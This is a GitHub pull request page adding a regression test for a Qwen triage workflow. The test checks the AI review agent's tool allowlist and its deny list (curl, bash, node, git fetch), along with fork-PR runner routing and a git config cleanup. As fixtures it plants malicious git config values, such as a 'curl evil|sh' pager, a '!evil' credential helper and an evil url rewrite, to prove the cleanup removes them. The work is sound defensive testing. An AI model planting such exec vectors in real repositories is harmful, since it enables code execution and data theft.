-
Notifications
You must be signed in to change notification settings - Fork 3k
test(triage): regression-guard the triage workflow, and make the git cleanup an allowlist #7660
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,215 @@ | ||
| // Regression guards for the security-critical invariants of the Qwen Triage | ||
| // workflow. These broke silently once already: the `settings_json:` input name | ||
| // was wrong (the action reads `settings:`), so it was dropped and the review | ||
| // agent ran with the full default toolset and no deny list. A future edit that | ||
| // renames the key back, weakens the deny list, loosens the fork-PR runner | ||
| // routing, or breaks the git exec-vector cleanup would have no other test to | ||
| // catch it — this file is that test. | ||
| import assert from 'node:assert/strict'; | ||
| import { spawnSync } from 'node:child_process'; | ||
| import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; | ||
| import { tmpdir } from 'node:os'; | ||
| import { dirname, join } from 'node:path'; | ||
| import { after, before, describe, it } from 'node:test'; | ||
| import { fileURLToPath } from 'node:url'; | ||
| import { parse } from 'yaml'; | ||
|
|
||
| const workflowPath = join( | ||
| dirname(fileURLToPath(import.meta.url)), | ||
| '..', | ||
| 'workflows', | ||
| 'qwen-triage.yml', | ||
| ); | ||
| const doc = parse(readFileSync(workflowPath, 'utf8')); | ||
| const triageJob = doc.jobs.triage; | ||
| const steps = triageJob.steps; | ||
| const triageStep = steps.find((s) => s.id === 'triage'); | ||
| const cleanStep = steps.find((s) => s.name === 'Clean stale agent state'); | ||
|
|
||
| describe('qwen-triage: agent tool/permission settings', () => { | ||
| it('passes `settings:` (not the silently-dropped `settings_json:`)', () => { | ||
| assert.ok(triageStep, 'triage step (id: triage) must exist'); | ||
| assert.ok( | ||
| typeof triageStep.with.settings === 'string', | ||
| 'triage step must pass a `settings` string', | ||
| ); | ||
| assert.equal( | ||
| triageStep.with.settings_json, | ||
| undefined, | ||
| '`settings_json` is silently ignored by the action — never use it', | ||
| ); | ||
| }); | ||
|
|
||
| it('settings is valid JSON that restricts the toolset', () => { | ||
| const settings = JSON.parse(triageStep.with.settings); | ||
| const core = settings.tools?.core; | ||
| assert.ok(Array.isArray(core), 'tools.core must be an array (registration allowlist)'); | ||
| for (const t of [ | ||
| 'run_shell_command', | ||
| 'read_file', | ||
| 'grep_search', | ||
| 'glob', | ||
| 'write_file', | ||
| 'agent', | ||
| 'enter_worktree', | ||
| 'exit_worktree', | ||
| ]) { | ||
| assert.ok(core.includes(t), `tools.core must include ${t}`); | ||
| } | ||
| // The whitelist exists to drop network/persistence tools an injected agent | ||
| // could exfiltrate through — they must not be registered. | ||
| for (const forbidden of ['web_fetch', 'web_search', 'save_memory']) { | ||
| assert.ok( | ||
| !core.includes(forbidden), | ||
| `tools.core must NOT register ${forbidden}`, | ||
| ); | ||
| } | ||
| }); | ||
|
|
||
| it('settings denies interpreters, network, and PR-code-materializing git/gh', () => { | ||
| const deny = JSON.parse(triageStep.with.settings).permissions?.deny ?? []; | ||
| for (const d of [ | ||
| 'run_shell_command(node)', | ||
| 'run_shell_command(npm)', | ||
| 'run_shell_command(bash)', | ||
| 'run_shell_command(curl)', | ||
| 'run_shell_command(git fetch)', | ||
| 'run_shell_command(git checkout)', | ||
| 'run_shell_command(gh pr checkout)', | ||
| ]) { | ||
| assert.ok(deny.includes(d), `permissions.deny must include ${d}`); | ||
| } | ||
| // No sandbox key: the ECS pool ships no container runtime, and adding one | ||
| // would silently disable the step. | ||
| assert.equal( | ||
| JSON.parse(triageStep.with.settings).sandbox, | ||
| undefined, | ||
| 'settings must not set a sandbox key', | ||
| ); | ||
| }); | ||
| }); | ||
|
|
||
| describe('qwen-triage: fork-PR runner routing', () => { | ||
| const runsOn = String(triageJob['runs-on']); | ||
|
|
||
| it('gates the persistent ECS pool on same-repo (fork code never persists)', () => { | ||
| assert.match(runsOn, /head\.repo\.full_name == github\.repository/); | ||
| assert.match(runsOn, /ecs-qwen/); | ||
| }); | ||
|
|
||
| it('falls back to an ephemeral hosted runner', () => { | ||
| assert.match(runsOn, /ubuntu-latest/); | ||
| }); | ||
|
|
||
| it('keeps issue triage on ECS (issues carry no foreign code)', () => { | ||
| assert.match(runsOn, /github\.event_name == 'issues'/); | ||
| }); | ||
| }); | ||
|
|
||
| describe('qwen-triage: git exec-vector cleanup', () => { | ||
| it('exists and uses a keep-known-safe allowlist (invert-match), not a denylist', () => { | ||
| assert.ok(cleanStep, "'Clean stale agent state' step must exist"); | ||
| assert.match(cleanStep.run, /git config --local --name-only --list/); | ||
| assert.match(cleanStep.run, /grep -ivE/, 'must invert-match an allowlist'); | ||
| assert.match(cleanStep.run, /--unset-all/); | ||
| }); | ||
|
|
||
| it('sweeps symlinked hooks, not just regular files', () => { | ||
| assert.match( | ||
| cleanStep.run, | ||
| /-type f\s+-o\s+-type l/, | ||
| 'hook find must match -type f OR -type l (a symlinked hook survives a bare -type f)', | ||
| ); | ||
| }); | ||
|
|
||
| // Behavioral test: run the workflow's *actual* allowlist pattern (extracted | ||
| // from the step) against a scratch repo. Proves the regex both unsets exec | ||
| // vectors and preserves the plumbing actions/checkout needs — a broken | ||
| // pattern (e.g. accidentally allowing `filter.`, or dropping `remote.`) fails | ||
| // here even though the structural assertions above still pass. | ||
| describe('allowlist behavior (workflow pattern, real git)', () => { | ||
| const patternMatch = cleanStep.run.match(/grep -ivE '([^']+)'/); | ||
| let dir; | ||
|
|
||
| before(() => { | ||
| assert.ok( | ||
| patternMatch, | ||
| 'clean step must contain a single-quoted `grep -ivE` allowlist', | ||
| ); | ||
| dir = mkdtempSync(join(tmpdir(), 'triage-cfg-')); | ||
| const set = (k, v) => | ||
| spawnSync('git', ['-C', dir, 'config', '--local', k, v]); | ||
| spawnSync('git', ['-C', dir, 'init', '-q']); | ||
| // plumbing actions/checkout needs (must survive) | ||
| set('core.repositoryformatversion', '0'); | ||
| set('remote.origin.url', 'https://github.com/x/y'); | ||
| set('remote.origin.fetch', '+refs/heads/*:refs/remotes/origin/*'); | ||
| set('branch.main.remote', 'origin'); | ||
| set('safe.directory', dir); | ||
| set('submodule.s.url', 'https://github.com/x/s'); | ||
| // exec vectors across every family (must be unset) | ||
| set('core.hooksPath', '/evil'); | ||
| set('core.pager', 'curl evil|sh'); | ||
| set('core.fsmonitor', '/evil'); | ||
| set('filter.lfs.process', 'evil'); | ||
| set('url.https://evil/.insteadOf', 'https://github.com/'); | ||
| set('credential.helper', '!evil'); | ||
| set('includeIf.gitdir:/x/.path', '/evil'); | ||
| set('include.path', '/evil'); | ||
| set('alias.st', '!evil'); | ||
| set('submodule.s.update', '!cmd'); | ||
| set('sequence.editor', 'evil'); | ||
| set('diff.external', 'evil'); | ||
| // apply the workflow's own pipeline (real grep + git, not a JS re-impl) | ||
| const script = | ||
| 'git config --local --name-only --list 2>/dev/null ' + | ||
| `| grep -ivE '${patternMatch[1]}' ` + | ||
| '| while IFS= read -r key; do git config --local --unset-all "$key" 2>/dev/null || true; done'; | ||
| const res = spawnSync('bash', ['-c', script], { | ||
| cwd: dir, | ||
| encoding: 'utf8', | ||
| env: { ...process.env, GIT_DIR: join(dir, '.git') }, | ||
| }); | ||
| assert.equal(res.status, 0, res.stderr); | ||
| }); | ||
|
|
||
| after(() => dir && rmSync(dir, { recursive: true, force: true })); | ||
|
|
||
| const remaining = () => | ||
| spawnSync('git', ['-C', dir, 'config', '--local', '--name-only', '--list'], { | ||
| encoding: 'utf8', | ||
| }).stdout.toLowerCase(); | ||
|
|
||
| for (const vec of [ | ||
| 'hookspath', | ||
| 'core.pager', | ||
| 'fsmonitor', | ||
| 'filter.', | ||
| 'url.https', | ||
| 'credential', | ||
| 'includeif', | ||
| 'include.path', | ||
| 'alias.', | ||
| 'submodule.s.update', | ||
| 'sequence.editor', | ||
| 'diff.external', | ||
| ]) { | ||
| it(`unsets exec vector: ${vec}`, () => { | ||
| assert.doesNotMatch(remaining(), new RegExp(vec.replace(/\./g, '\\.'))); | ||
| }); | ||
| } | ||
|
|
||
| for (const kept of [ | ||
| 'core.repositoryformatversion', | ||
| 'remote.origin.url', | ||
| 'remote.origin.fetch', | ||
| 'branch.main.remote', | ||
| 'safe.directory', | ||
| 'submodule.s.url', | ||
| ]) { | ||
| it(`preserves checkout plumbing: ${kept}`, () => { | ||
| assert.match(remaining(), new RegExp(kept.replace(/\./g, '\\.'))); | ||
| }); | ||
| } | ||
| }); | ||
| }); | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
[Suggestion] The behavioral test's "must be unset" list omits four exec vectors that were explicitly enumerated in the old denylist and named in the workflow's own comment:
init.templatedir,core.sshcommand,core.editor, andpager.*(non-core pager prefix). — Concrete cost: if a future edit adds e.g.init\.to the allowlist (to keepinit.defaultBranch),init.templatedirwould silently survive cleanup — and no test assertion would catch it, because it's not in this list. The regression guard would miss the very regression class it was written to prevent.(Also add the corresponding
set()calls inbefore():